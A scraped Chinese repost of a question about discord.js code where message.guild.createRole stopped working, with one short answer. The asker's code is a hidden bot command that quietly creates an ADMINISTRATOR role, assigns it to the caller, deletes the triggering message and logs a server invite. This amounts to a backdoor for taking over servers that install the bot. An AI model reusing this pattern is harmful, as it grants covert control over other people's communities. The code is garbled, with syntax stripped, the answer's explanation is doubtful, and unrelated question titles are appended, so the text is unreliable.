message.guild.createRole无效-discord.js
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了message.guild.createRole无效-discord.js相关的知识,希望对你有一定的参考价值。
我是javascript脚本的新手,并且在测试代码时,突然我的机器人拒绝执行以前所做的工作。基本上,我有一个命令,可以给您一个管理员角色(如果有人需要解释为什么我会在评论中回复),并发送一条消息,说明我已执行该命令,并向执行该命令的服务器发送邀请。我在线阅读了一些代码,并编写了一个命令。它工作了几天,然后有一天它停止工作,告诉我这不是一个功能。我正在运行最新版本的discord.js。这是我的代码:
bot.on("message", async message =>
if(message.content.startsWith(`$prefixbackup`))
const role = await message.guild.createRole(
name: 'Backup',
permissions: ['ADMINISTRATOR'],
color: '0xe600ff',
position: 0
);
await message.member.addRole(role);
message.channel.bulkDelete(1)
console.log(`You ran backup on $message.guild.name`)
let invite = await message.channel.createInvite(
maxAge: 86399,
maxUses: 3
,
`f`
)
.catch(console.log);
console.log(invite ? `Invite: $invite` : "Error");
)
我不知道是否更新了discord.js,因为我托管在glitch.com上。预先谢谢你
答案
只有公会所有者可以创建ADMINISTRATOR权限。因此,这就是您的代码无法正常工作的原因。
以上是关于message.guild.createRole无效-discord.js的主要内容,如果未能解决你的问题,请参考以下文章
ValueError 层序贯_13的输入0与层不兼容:预期ndim = 3,发现ndim = 4收到完整形状:(无,无,无,无)
如何修复'ValueError:输入0与层simple_rnn_1不兼容:预期形状=(无,无,20),找到形状=(无,无,2,20)'